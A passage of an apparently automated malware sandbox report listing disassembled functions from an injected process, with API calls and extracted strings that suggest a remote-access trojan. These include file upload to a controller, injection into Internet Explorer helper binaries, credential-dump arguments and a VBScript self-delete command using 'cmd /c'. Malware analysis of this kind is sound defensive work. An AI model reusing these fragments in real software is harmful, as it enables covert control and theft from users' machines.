                                                                                    • Shell_NotifyIconA.SHELL32(00000002,02881AE0), ref: 0282B412
                                                                                    • ExitProcess.KERNEL32 ref: 0282B41A
                                                                                    • CreatePopupMenu.USER32 ref: 0282B420
                                                                                    • AppendMenuA.USER32(00000000,00000000,00000000,Close), ref: 0282B435
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Menu$PopupWindow$AppendCreateCursorExitForegroundIconNotifyProcProcessShell_Track
                                                                                    • String ID: Close
                                                                                    • API String ID: 1657328048-3535843008
                                                                                    • Opcode ID: 5fa67a4bb5fa57cec2acf13ebbfc47661ee99270c120f8960097d0d78f3ef47d
                                                                                    • Instruction ID: a6133c4451874877183703b81e978f186fd496820b8b91a9ea18ee40ef2f8e64
                                                                                    • Opcode Fuzzy Hash: 5fa67a4bb5fa57cec2acf13ebbfc47661ee99270c120f8960097d0d78f3ef47d
                                                                                    • Instruction Fuzzy Hash: B1215C3D980169BFDB055FA4EE4DB6A3FA9EB04309F0C9914F51AD00A0EB758974DB60
                                                                                    Function 0285E4A6 Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • ___free_lconv_mon.LIBCMT ref: 0285E4EA
                                                                                      • Part of subcall function 0285D6E2: _free.LIBCMT ref: 0285D6FF
                                                                                      • Part of subcall function 0285D6E2: _free.LIBCMT ref: 0285D711
                                                                                      • Part of subcall function 0285D6E2: _free.LIBCMT ref: 0285D723
                                                                                      • Part of subcall function 0285D6E2: _free.LIBCMT ref: 0285D735
                                                                                      • Part of subcall function 0285D6E2: _free.LIBCMT ref: 0285D747
                                                                                      • Part of subcall function 0285D6E2: _free.LIBCMT ref: 0285D759
                                                                                      • Part of subcall function 0285D6E2: _free.LIBCMT ref: 0285D76B
                                                                                      • Part of subcall function 0285D6E2: _free.LIBCMT ref: 0285D77D
                                                                                      • Part of subcall function 0285D6E2: _free.LIBCMT ref: 0285D78F
                                                                                      • Part of subcall function 0285D6E2: _free.LIBCMT ref: 0285D7A1
                                                                                      • Part of subcall function 0285D6E2: _free.LIBCMT ref: 0285D7B3
                                                                                      • Part of subcall function 0285D6E2: _free.LIBCMT ref: 0285D7C5
                                                                                      • Part of subcall function 0285D6E2: _free.LIBCMT ref: 0285D7D7
                                                                                    • _free.LIBCMT ref: 0285E4DF
                                                                                      • Part of subcall function 02853C92: RtlFreeHeap.NTDLL(00000000,00000000,?,0285DE4F,?,00000000,?,00000000,?,0285E0F3,?,00000007,?,?,0285E63E,?), ref: 02853CA8
                                                                                      • Part of subcall function 02853C92: GetLastError.KERNEL32(?,?,0285DE4F,?,00000000,?,00000000,?,0285E0F3,?,00000007,?,?,0285E63E,?,?), ref: 02853CBA
                                                                                    • _free.LIBCMT ref: 0285E501
                                                                                    • _free.LIBCMT ref: 0285E516
                                                                                    • _free.LIBCMT ref: 0285E521
                                                                                    • _free.LIBCMT ref: 0285E543
                                                                                    • _free.LIBCMT ref: 0285E556
                                                                                    • _free.LIBCMT ref: 0285E564
                                                                                    • _free.LIBCMT ref: 0285E56F
                                                                                    • _free.LIBCMT ref: 0285E5A7
                                                                                    • _free.LIBCMT ref: 0285E5AE
                                                                                    • _free.LIBCMT ref: 0285E5CB
                                                                                    • _free.LIBCMT ref: 0285E5E3
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: _free$ErrorFreeHeapLast___free_lconv_mon
                                                                                    • String ID:
                                                                                    • API String ID: 161543041-0
                                                                                    • Opcode ID: c456be744175ac3aa292ce460018af19a48c17428dbdde63f913cb549107a98c
                                                                                    • Instruction ID: 99270e6a79087ad6f37808ef5e65f39296f8bbec540d29ed32e5690317ce0d7e
                                                                                    • Opcode Fuzzy Hash: c456be744175ac3aa292ce460018af19a48c17428dbdde63f913cb549107a98c
                                                                                    • Instruction Fuzzy Hash: 33313D7E6007259EEB259E78DD44B5A73EAAF00390F558499E89DD7150EF30FE808B11
                                                                                    Function 02817BB6 Relevance: 19.6, APIs: 8, Strings: 3, Instructions: 328fileCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • CreateFileW.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000080,00000000,000000B6), ref: 02817D1F
                                                                                    • GetFileSizeEx.KERNEL32(00000000,?), ref: 02817D57
                                                                                    • __aulldiv.LIBCMT ref: 02817D89
                                                                                      • Part of subcall function 028294DA: GetLocalTime.KERNEL32(00000000), ref: 028294F4
                                                                                    • SetFilePointerEx.KERNEL32(00000000,?,?,00000000,00000000), ref: 02817EAC
                                                                                    • ReadFile.KERNEL32(00000000,00000000,?,?,00000000), ref: 02817EC7
                                                                                    • CloseHandle.KERNEL32(00000000), ref: 02817FA0
                                                                                    • CloseHandle.KERNEL32(00000000,00000052), ref: 02817FEA
                                                                                    • CloseHandle.KERNEL32(00000000), ref: 02818038
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: File$CloseHandle$CreateLocalPointerReadSizeTime__aulldiv
                                                                                    • String ID: ReadFile error$SetFilePointerEx error$Uploading file to Controller:
                                                                                    • API String ID: 1656873915-2596673759
                                                                                    • Opcode ID: 87e701ad7c2cc940639ab348d66d2904c88f534374761eb8a9468c9161703ca0
                                                                                    • Instruction ID: 3adc3ce721e59aa09e8aff4ba611a52de166ebae1fada3b4807de5b5999060a8
                                                                                    • Opcode Fuzzy Hash: 87e701ad7c2cc940639ab348d66d2904c88f534374761eb8a9468c9161703ca0
                                                                                    • Instruction Fuzzy Hash: 8BB18A3D6083509BD314FB68C894AAFB7EAAB84310F504A1DF58AC22D4EF7099498B57
                                                                                    Function 0281DE34 Relevance: 19.5, APIs: 7, Strings: 4, Instructions: 223processsynchronizationCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GetModuleFileNameW.KERNEL32(00000000,?,00000104,02882248,02881FFC,?,00000001), ref: 0281DE4E
                                                                                    • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,?,00000001), ref: 0281DE79
                                                                                    • Process32FirstW.KERNEL32(00000000,0000022C), ref: 0281DE95
                                                                                    • Process32NextW.KERNEL32(00000000,0000022C), ref: 0281DF14
                                                                                    • CloseHandle.KERNEL32(00000000,?,00000000,?,?,00000001), ref: 0281DF23
                                                                                      • Part of subcall function 02829F87: OpenProcess.KERNEL32(00001000,00000000,?,00000000,00000000), ref: 02829F9C
                                                                                    • CreateMutexA.KERNEL32(00000000,00000001,00000000,00000000,?,00000001), ref: 0281E047
                                                                                    • CloseHandle.KERNEL32(00000000,C:\Program Files(x86)\Internet Explorer\,?,00000001), ref: 0281E133
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: CloseCreateHandleProcess32$FileFirstModuleMutexNameNextOpenProcessSnapshotToolhelp32
                                                                                    • String ID: C:\Program Files(x86)\Internet Explorer\$Inj$ieinstal.exe$ielowutil.exe
                                                                                    • API String ID: 193334293-1743721670
                                                                                    • Opcode ID: 8ffd51ce6034c79988610c3dded25a00c2fed14a2d19d6ede52ab51bc513163b
                                                                                    • Instruction ID: 4f6e0ba9737dbfb68925b18abb82bebab3919005992310e081ee1887f79f6d5a
                                                                                    • Opcode Fuzzy Hash: 8ffd51ce6034c79988610c3dded25a00c2fed14a2d19d6ede52ab51bc513163b
                                                                                    • Instruction Fuzzy Hash: F1811A3C5092419AD658EBA4D894EAEB7AEAF90300F50092DE58AD31E1EF70994DCF53
                                                                                    Function 0282A47D Relevance: 19.4, APIs: 5, Strings: 6, Instructions: 182registryCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • RegEnumKeyExA.ADVAPI32 ref: 0282A47F
                                                                                    • RegOpenKeyExA.ADVAPI32(?,?,00000000,00020019,?), ref: 0282A4B0
                                                                                    • RegCloseKey.ADVAPI32(?), ref: 0282A749
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: CloseEnumOpen
                                                                                    • String ID: DisplayName$DisplayVersion$InstallDate$InstallLocation$Publisher$UninstallString
                                                                                    • API String ID: 1332880857-3730529168
                                                                                    • Opcode ID: b03f6b5bcdc63d6c6b4d5775568a8c088a1cd556cfab8809a0d58679a949edcb
                                                                                    • Instruction ID: 0695989e5a6aaf318ae0a3bcc7a98ed96424c9255623944a4ca79e0c969383c4
                                                                                    • Opcode Fuzzy Hash: b03f6b5bcdc63d6c6b4d5775568a8c088a1cd556cfab8809a0d58679a949edcb
                                                                                    • Instruction Fuzzy Hash: 4761FD3D1082819BD328EB68D854EEFB3EDAF94300F10492DE59AC2194EF70A94DCE57
                                                                                    Function 0285D7E0 Relevance: 18.4, APIs: 12, Instructions: 376COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: _free
                                                                                    • String ID:
                                                                                    • API String ID: 269201875-0
                                                                                    • Opcode ID: 53c18eab3b8ab0f8817c0c06065fc05620b64b686d0c35af99b681e93cbcc7fa
                                                                                    • Instruction ID: fda02ef594490eafd803dda42e38ccb4a6cc15cbf15185bc1e1d713f12d5b263
                                                                                    • Opcode Fuzzy Hash: 53c18eab3b8ab0f8817c0c06065fc05620b64b686d0c35af99b681e93cbcc7fa
                                                                                    • Instruction Fuzzy Hash: F0C1837ED40218BFDB21DBA8CD46FEE77F9AB08704F054064FE48EB281D670A9458B65
                                                                                    Function 02821899 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 417sleepfileCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 028218B2
                                                                                      • Part of subcall function 02829959: GetCurrentProcessId.KERNEL32(00000000,74DF3530,00000000,?,?,?,?,02879654,0281BDCB,.vbs,?,?,?,?,?,02882200), ref: 02829980
                                                                                      • Part of subcall function 028268A6: CloseHandle.KERNEL32(0281664F,00000004,?,0281664F,?,00000000,00000000), ref: 028268BC
                                                                                      • Part of subcall function 028268A6: CloseHandle.KERNEL32(?,?,0281664F,?,00000000,00000000), ref: 028268C5
                                                                                    • Sleep.KERNEL32(0000000A,02872E24), ref: 02821A01
                                                                                    • Sleep.KERNEL32(0000000A,02872E24,02872E24), ref: 02821AA3
                                                                                    • Sleep.KERNEL32(0000000A,02872E24,02872E24,02872E24), ref: 02821B42
                                                                                    • DeleteFileW.KERNEL32(00000000,02872E24,02872E24,02872E24), ref: 02821B9F
                                                                                    • DeleteFileW.KERNEL32(00000000,02872E24,02872E24,02872E24), ref: 02821BCF
                                                                                    • DeleteFileW.KERNEL32(00000000,02872E24,02872E24,02872E24), ref: 02821C05
                                                                                    • Sleep.KERNEL32(000001F4,02872E24,02872E24,02872E24), ref: 02821C25
                                                                                    • Sleep.KERNEL32(00000064), ref: 02821C63
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Sleep$File$Delete$CloseHandle$CurrentModuleNameProcess
                                                                                    • String ID: /stext "
                                                                                    • API String ID: 2485855082-3856184850
                                                                                    • Opcode ID: 0917e173c6805eda5e81684b450ff2eeb40e76d72200a4e4ea1151f352b8bfc4
                                                                                    • Instruction ID: 6d46f25cc502554fb76e118758bf7f007bcd5afe2d73baeb976e991d1ef4d1dd
                                                                                    • Opcode Fuzzy Hash: 0917e173c6805eda5e81684b450ff2eeb40e76d72200a4e4ea1151f352b8bfc4
                                                                                    • Instruction Fuzzy Hash: 06F1213D6083504AD328FBA8D854AEFB7EAAF90300F50091DE58AC25D5EF709A4DCE57
                                                                                    Function 02860F63 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 268COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GetCPInfo.KERNEL32(?,?), ref: 0286100F
                                                                                    • MultiByteToWideChar.KERNEL32(?,00000009,?,?,00000000,00000000), ref: 02861092
                                                                                    • __alloca_probe_16.LIBCMT ref: 028610CA
                                                                                    • MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 02861125
                                                                                    • __alloca_probe_16.LIBCMT ref: 02861174
                                                                                    • MultiByteToWideChar.KERNEL32(?,00000009,?,?,00000000,00000000), ref: 0286113C
                                                                                      • Part of subcall function 02853649: RtlAllocateHeap.NTDLL(00000000,02843049,?,?,028465E7,?,?,00000000,?,?,0281C88A,02843049,?,?,?,?), ref: 0285367B
                                                                                    • MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 028611B8
                                                                                    • __freea.LIBCMT ref: 028611E3
                                                                                    • __freea.LIBCMT ref: 028611EF
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: ByteCharMultiWide$__alloca_probe_16__freea$AllocateHeapInfo
                                                                                    • String ID: \y+/
                                                                                    • API String ID: 201697637-1501633358
                                                                                    • Opcode ID: ea1f660d7d938f73341314d332c25b35565fe341ab155d5460c41680600b37ce
                                                                                    • Instruction ID: d653a713af6c5706d39243e4f54cbe774fc4ab8fde8929fd25b12f891070966e
                                                                                    • Opcode Fuzzy Hash: ea1f660d7d938f73341314d332c25b35565fe341ab155d5460c41680600b37ce
                                                                                    • Instruction Fuzzy Hash: 5F91B67DE0025A9EDF208EA4D88CEFEBBB6AF09714F145559E809E7381DB35D840CB61
                                                                                    Function 02823606 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 158COMMON
                                                                                    Download Yara Rule
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID: 65535$udp
                                                                                    • API String ID: 0-1267037602
                                                                                    • Opcode ID: 6f2b14704a70d73e898bb8291612b0f35b398fbadf9375db4ea585089ff165f1
                                                                                    • Instruction ID: f3b53d43ef7e2dd916ced68630ea24f15052310d4ee551d2273289a4ad727756
                                                                                    • Opcode Fuzzy Hash: 6f2b14704a70d73e898bb8291612b0f35b398fbadf9375db4ea585089ff165f1
                                                                                    • Instruction Fuzzy Hash: 18510ABD6193259FDB209A14C868B3777E8EF84748F0848BAF849D7280E72CC4CCC652
                                                                                    Function 0281C3B8 Relevance: 17.6, APIs: 3, Strings: 7, Instructions: 148COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                      • Part of subcall function 028212B5: TerminateProcess.KERNEL32(00000000,028821E8,0281E2B2), ref: 028212C5
                                                                                      • Part of subcall function 028212B5: WaitForSingleObject.KERNEL32(000000FF), ref: 028212D8
                                                                                      • Part of subcall function 028220E8: RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,00000000,02882200), ref: 02822104
                                                                                      • Part of subcall function 028220E8: RegQueryValueExA.KERNEL32(00000000,00000000,00000000,00000000,00000208,?), ref: 0282211D
                                                                                      • Part of subcall function 028220E8: RegCloseKey.KERNEL32(00000000), ref: 02822128
                                                                                    • GetModuleFileNameW.KERNEL32(00000000,?,00000208), ref: 0281C412
                                                                                    • ShellExecuteW.SHELL32(00000000,open,00000000,02879654,02879654,00000000), ref: 0281C571
                                                                                    • ExitProcess.KERNEL32 ref: 0281C57D
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Process$CloseExecuteExitFileModuleNameObjectOpenQueryShellSingleTerminateValueWait
                                                                                    • String ID: """, 0$.vbs$CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName)$CreateObject("WScript.Shell").Run "cmd /c ""$Temp$exepath$open
                                                                                    • API String ID: 1913171305-2411266221
                                                                                    • Opcode ID: 3c4556fcd6815e2733b4d54854ecac22df2d70238cf27f503628134bb52c321b
                                                                                    • Instruction ID: e9781da296db83f857e2e7bbdd842c78224a9dd35628bd013669b280e8746227
                                                                                    • Opcode Fuzzy Hash: 3c4556fcd6815e2733b4d54854ecac22df2d70238cf27f503628134bb52c321b
                                                                                    • Instruction Fuzzy Hash: 8B41403E9001285ADB18F7A8DC59DFE777EAF50710F000169E50AE71D4EF605E8ACE52
                                                                                    Function 028485DA Relevance: 16.6, APIs: 11, Instructions: 116COMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • MultiByteToWideChar.KERNEL32(?,00000000,00000050,000000FF,00000000,00000000,?,?,?,02811D35,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 02848632
                                                                                    • GetLastError.KERNEL32(?,?,02811D35,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 0284863F
                                                                                    • __dosmaperr.LIBCMT ref: 02848646
                                                                                    • MultiByteToWideChar.KERNEL32(?,00000000,00000050,000000FF,00000000,00000000,?,?,?,02811D35,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 02848672
                                                                                    • GetLastError.KERNEL32(?,?,?,02811D35,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 0284867C
                                                                                    • __dosmaperr.LIBCMT ref: 02848683
                                                                                    • WideCharToMultiByte.KERNEL32(?,00000000,00000000,000000FF,00000000,?,00000000,00000000,?,?,?,?,?,?,02811D35,?), ref: 028486C6
                                                                                    • GetLastError.KERNEL32(?,?,?,?,?,?,02811D35,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 028486D0
                                                                                    • __dosmaperr.LIBCMT ref: 028486D7
                                                                                    • _free.LIBCMT ref: 028486E3
                                                                                    • _free.LIBCMT ref: 028486EA
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: ByteCharErrorLastMultiWide__dosmaperr$_free
                                                                                    • String ID:
                                                                                    • API String ID: 2441525078-0
                                                                                    • Opcode ID: d68351e96cc884dd268953ec3cc5d2c9198d8500e138739c88b7d6c607b51a7a
                                                                                    • Instruction ID: 844e99bc2ad751e8369ca2f6575b3dd1373d8792974d0277aa03e2eeb3d368b8
                                                                                    • Opcode Fuzzy Hash: d68351e96cc884dd268953ec3cc5d2c9198d8500e138739c88b7d6c607b51a7a
                                                                                    • Instruction Fuzzy Hash: CE31AC7E80125EBBDF11AFA8DC489AE7B6EAF04364B104259F814D6291EF35C960CF61
                                                                                    Function 02856FC4 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 216COMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,0284E2F6,0284E2F6,?,?,?,02857215,00000001,00000001,80E85006), ref: 0285701E
                                                                                    • __alloca_probe_16.LIBCMT ref: 02857056
                                                                                    • MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,02857215,00000001,00000001,80E85006,?,?,?), ref: 028570A4
                                                                                    • __alloca_probe_16.LIBCMT ref: 0285713B
                                                                                    • WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,80E85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 0285719E
                                                                                    • __freea.LIBCMT ref: 028571AB
                                                                                      • Part of subcall function 02853649: RtlAllocateHeap.NTDLL(00000000,02843049,?,?,028465E7,?,?,00000000,?,?,0281C88A,02843049,?,?,?,?), ref: 0285367B
                                                                                    • __freea.LIBCMT ref: 028571B4
                                                                                    • __freea.LIBCMT ref: 028571D9
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: ByteCharMultiWide__freea$__alloca_probe_16$AllocateHeap
                                                                                    • String ID: \y+/
                                                                                    • API String ID: 3864826663-1501633358
                                                                                    • Opcode ID: 6cff90550ab4f0ebfa3130668bff207b244eda0577c5e989a9acbdeeb5a79300
                                                                                    • Instruction ID: d4d02ad3cfc58a4b8edce92cebaa580b6bc7940c43edc06b97cfc4094bbf8794
                                                                                    • Opcode Fuzzy Hash: 6cff90550ab4f0ebfa3130668bff207b244eda0577c5e989a9acbdeeb5a79300
                                                                                    • Instruction Fuzzy Hash: C351F77EA50236AFDB258E64CC44EBFB7AAEF40754F158629FD08D6144EB34DC50CAA0
                                                                                    Function 02815480 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 155windowmemoryCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • SetEvent.KERNEL32(?,?), ref: 0281549F
                                                                                    • GetMessageA.USER32(?,00000000,00000000,00000000), ref: 0281554F
                                                                                    • TranslateMessage.USER32(?), ref: 0281555E
                                                                                    • DispatchMessageA.USER32(?), ref: 02815569
                                                                                    • HeapCreate.KERNEL32(00000000,00000000,00000000,00000074,02881F10), ref: 02815621
                                                                                    • HeapFree.KERNEL32(00000000,00000000,0000003B,0000003B,?,00000000), ref: 02815659
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Message$Heap$CreateDispatchEventFreeTranslate
                                                                                    • String ID: CloseChat$DisplayMessage$GetMessage
                                                                                    • API String ID: 2460878853-749203953
                                                                                    • Opcode ID: 9a7b1d18c7c29c6f383550bbf807d2388c0449562cb8119e629de816c738119b
                                                                                    • Instruction ID: 27e0aba871bd0e01e2117d3c3f77c6480e96268e04d5aa06ff08aa1b3902f63d
                                                                                    • Opcode Fuzzy Hash: 9a7b1d18c7c29c6f383550bbf807d2388c0449562cb8119e629de816c738119b
                                                                                    • Instruction Fuzzy Hash: 2041C23DA042519BCB14FB78D85886E7BAEABC5710F400A1CEA16D35D4EF38D909CB93
                                                                                    Function 028630E4 Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 154COMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • DecodePointer.KERNEL32(?,?,?,?,?,?,?,?,?,?,028641DF), ref: 02863107
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: DecodePointer
                                                                                    • String ID: \y+/$acos$asin$exp$log$log10$pow$sqrt
                                                                                    • API String ID: 3527080286-641999418
                                                                                    • Opcode ID: 06cf66a36bf0d3c3fc5917e0406f688755a1f050538b473851744dcc6c761133
                                                                                    • Instruction ID: 973811cdfd3cc298429b3641572ac306bf8fce89a6b849749f73a092ecd2829b
                                                                                    • Opcode Fuzzy Hash: 06cf66a36bf0d3c3fc5917e0406f688755a1f050538b473851744dcc6c761133
                                                                                    • Instruction Fuzzy Hash: F4517B7CA0054EDBCF049FA8EA4C1BDBBB4FB09619F1441C5E489E6358CB359928CB18
                                                                                    Function 02855631 Relevance: 15.1, APIs: 10, Instructions: 54COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • _free.LIBCMT ref: 02855645
                                                                                      • Part of subcall function 02853C92: RtlFreeHeap.NTDLL(00000000,00000000,?,0285DE4F,?,00000000,?,00000000,?,0285E0F3,?,00000007,?,?,0285E63E,?), ref: 02853CA8
                                                                                      • Part of subcall function 02853C92: GetLastError.KERNEL32(?,?,0285DE4F,?,00000000,?,00000000,?,0285E0F3,?,00000007,?,?,0285E63E,?,?), ref: 02853CBA
                                                                                    • _free.LIBCMT ref: 02855651
                                                                                    • _free.LIBCMT ref: 0285565C
                                                                                    • _free.LIBCMT ref: 02855667
                                                                                    • _free.LIBCMT ref: 02855672
                                                                                    • _free.LIBCMT ref: 0285567D
                                                                                    • _free.LIBCMT ref: 02855688
                                                                                    • _free.LIBCMT ref: 02855693
                                                                                    • _free.LIBCMT ref: 0285569E
                                                                                    • _free.LIBCMT ref: 028556AC
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: _free$ErrorFreeHeapLast
                                                                                    • String ID:
                                                                                    • API String ID: 776569668-0
                                                                                    • Opcode ID: 81ca58dedb1d38bdd5b3e09626784631354fe40224f039c8b16b2d492c32e3ef
                                                                                    • Instruction ID: 702521cf64fcf5aa07a0635c390be33798606be9753ef99fce34525df323fbff
